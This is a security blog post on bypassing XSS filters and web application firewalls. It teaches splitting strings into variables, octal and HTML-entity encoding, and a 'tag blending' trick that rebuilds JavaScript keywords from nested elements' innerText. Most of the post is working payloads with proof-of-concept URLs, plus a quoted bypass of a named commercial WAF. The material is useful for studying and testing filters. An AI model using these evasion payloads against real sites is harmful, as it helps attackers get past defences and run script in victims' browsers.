Property-based payloads are payloads based on some particular properties of the document object and the elements. From the document object we already know the location-based payloads and from the elements we have the properties  “innerHTML” and “outerHTML”.

Those 3 are very useful to evade a filter or WAF when we get to the point where the JavaScript code needs to be obfuscated. That scenario usually arises when we get past to the event handler in a HTMLi-based XSS vector but it can also be used in regular JavaScript injections (inside script blocks) or even in DOM-based XSS scenarios.

The Fight for Parentheses

Filters and WAFs will try to catch parentheses, in that “(” and “)” order, to not let us call any JS function. Backticks, which can be used to call some functions, will trigger a block too. There are ways to make them unpredictable by regular filter rules but for that we need to turn our payload into a string somehow. After doing that we can split the string in multiple pieces, breaking keywords and change the order of characters to avoid the blocking rules.

So let’s see what we can do when we use a location-based payload. We will use a SVG vector with onload event handler as default in this post but it can be any combination of element and handler used in the complete bypass.

*** Beware with the new line (becomes space) when copy+paste 2-lines payloads. ***

<svg onload=location='javascript:alert(1)'>

PoC: https://brutelogic.com.br/gym.php?p05=%3Csvg+onload=location=%27javascript:alert(1)%27%3E

It works but it’s an easy target for a filter. Let’s split the string creating some variables and make some changes.

<svg onload=a=')',b='t(1',j='javas',
s='cript:aler',location=j+s+b+a>

PoC: https://brutelogic.com.br/gym.php?p05=%3Csvg+onload=a=%27)%27,b=%27t(1%27,j=%27javas%27,s=%27cript:aler%27,location=j%2Bs%2Bb%2Ba%3E

As we can see, it became harder for a filter to catch this one.

That way to bypass is standard using document.location property. Let’s see an example with innerHTML now, which works exactly the same as with outerHTML. We make use of octal  encoding to not trigger filter with regular HTML rules since our string is identical to an HTMLi-based vector.

<svg onload=innerHTML=
'\74img/src/onerror\75alert\501\51\76'>

PoC: https://brutelogic.com.br/gym.php?p05=%3Csvg%20onload=innerHTML=%27\74img/src/onerror\75alert\501\51\76%27%3E

The same splitting used for location can be performed here:

<svg onload=a='\51\76',b='t\501',
i='\74img/src/one',m='rror\75aler',innerHTML=i+m+b+a>

PoC: https://brutelogic.com.br/gym.php?p05=%3Csvg%20onload=a=%27\51\76%27,b=%27t\501%27,i=%27\74img/src/one%27,m=%27rror\75aler%27,innerHTML=i%2Bm%2Bb%2Ba%3E

Using a property-based payload with the splitting technique, a bypass in a known WAF vendor (Imperva) was discovered little time ago:

Imperva WAF #XSS #Bypass

<svg><set onbegin=d=document,b='`',d['loca'+'tion']='javascript&colon;aler'+'t'+b+domain+b>https://t.co/chtSUIExk6 pic.twitter.com/pgJSPDbhtO

— Brute Logic (@brutelogic) June 13, 2022

As we can see, it was easier to use a single reusable backtick instead of the pair of parentheses.

The Tag Blending Technique

Although the above technique is very useful, it requires that the whole payload be inside the element, triggered by the event handler. What we will see now is a way to make the element shorter (but not the entire vector) and split keywords in a way extremely difficult for a filter or WAF to catch.

We start with a jump to outside of our XSS vector with textContent:

<svg onload=location=textContent>javascript:alert(1)//

PoC: https://brutelogic.com.br/gym.php?p05=%3Csvg+onload=location=textContent%3Ejavascript:alert(1)//

Double slashes were added just in case there’s any native text content after injection.

It’s a nice and short payload that avoids the use of parentheses inside the HMTL element (svg) but it’s still makes the job of a filter easy by not obfuscating the keywords javascript (with semicolon) and alert, besides the parentheses themselves.

Unfortunately we can’t do the same with inner/outerHTML without using the same HMTL construct used by our main SVG vector because “<svg onload=innerHTML=textContent><img src onerror=alert(1)>” would be pointless and doesn’t even work. If we use innerHTML=innerHTML instead and replace “<” and “=” chars with their respective HTML entities it won’t work also.

Thankfully, there’s a way to solve the problem with both string-based payloads above: a tag blending technique.

It consists in using the following:

The pieces of text returned by the innerText property of the nextSibling property (which is the bunch of “b” elements we see above) are concatenated to form our desired string.

Here’s the DOM view:

So our next vector is straightforward:

<svg onload=location=nextSibling.innerText>
<b>javas<b></b>cript:al<b></b>ert(1)</b>

PoC: https://brutelogic.com.br/gym.php?p05=%3Csvg+onload=location=nextSibling.innerText%3E%3Cb%3Ejavas%3Cb%3E%3C/b%3Ecript:al%3Cb%3E%3C/b%3Eert(1)%3C/b%3E

Which makes it very hard for a filter to catch the  keywords now and the parentheses are hard to be tracked to get blocked but if it’s needed, we can add a couple more “b” elements:

<svg onload=location=nextSibling.innerText>
<b>javas<b></b>cript:al<b></b>ert(<b>1</b>)</b>

PoC: https://brutelogic.com.br/gym.php?p05=%3Csvg+onload=location=nextSibling.innerText%3E%3Cb%3Ejavas%3Cb%3E%3C/b%3Ecript:al%3Cb%3E%3C/b%3Eert(%3Cb%3E1%3C/b%3E)%3C/b%3E

Now for our inner/outerHTML property-based payloads we have something:

<svg onload=innerHTML=nextSibling.innerText>
<b>&lt;img/src/on<b></b>error=al<b></b>ert(1)></b>

PoC: https://brutelogic.com.br/gym.php?p05=%3Csvg+onload=innerHTML=nextSibling.innerText%3E%3Cb%3E%26lt;img/src/on%3Cb%3E%3C/b%3Eerror=al%3Cb%3E%3C/b%3Eert(1)%3E%3C/b%3E

Notice the use of HTML Entities this time (there’s also a good list of them here). So we can combine that tag+text blending with HTML entities to increase obfuscation. Again, if any keyword or pattern is getting caught, we just add a couple of elements.

Almost all valid XHTML element can be used (regular and arbitrary tags) like in the following:

<svg onload=innerHTML=nextSibling.innerText>
<b>&lt;img/src/on<r></r>error=al<u></u>ert(<te>1</te>)></b>

PoC: https://brutelogic.com.br/gym.php?
p05=%3Csvg+onload=innerHTML=nextSibling.innerText%3E%3Cb%3E%26lt;img/src/on%3Cr%3E%3C/r%3Eerror=al%3Cu%3E%3C/u%3Eert(%3Cte%3E1%3C/te%3E)%3E%3C/b%3E

But it’s always better to use regular, allowed HTML like <b>, <s>, <u> just in case to not get worried about that stage of the payload. In fact, all we need to do when approaching a filter is to make this pass:

<tag handler=property1=property2.property3>

And the rest will be easier. For property3 we have “textContent” as alternative and for property2 we have several other ones like “previousSibling” (with the tag blending coming before the main vector). Check here for more.

Now, a last trick: besides using keyword splitting to evade filter for those property names like document[‘loca’+’tion’] or nextSibling[‘inner’+’Text’] with maybe some optional chaining, we can also map the node of the DOM tree we want to point our payload to (the “nextSibling” used in our examples) in the following way:

By using console.log(document.all) in console (Browser Developer Tools – F12) we are able to see the document.all’s index of our injected elements. We take the first “b” element right after our SVG one, building this:

<svg onload=location=all[22].innerText>
<b>javas<b></b>cript:al<b></b>ert(1)</b>

PoC: https://brutelogic.com.br/gym.php?p05=%3Csvg+onload=location=all[22].innerText%3E%3Cb%3Ejavas%3Cb%3E%3C/b%3Ecript:al%3Cb%3E%3C/b%3Eert(1)%3C/b%3E

Although document.all is deprecated, it’s still valid, useful and makes the payload shorter. The other property (“innerText” in this case) can also be hidden inside an attribute of the main element, usually “id” as we will see below in the first tweet about these vectors.

For the record, this was discovered/built more than 1 year ago but it was now revisited to provide a detailed insight into the technique.

One of the most beautiful #XSS payloads I've ever build.https://t.co/MR5gWBo3wN pic.twitter.com/ULhVDk8wsS

— Rodolfo Assis (@rodoassis) April 21, 2021

#hack2learn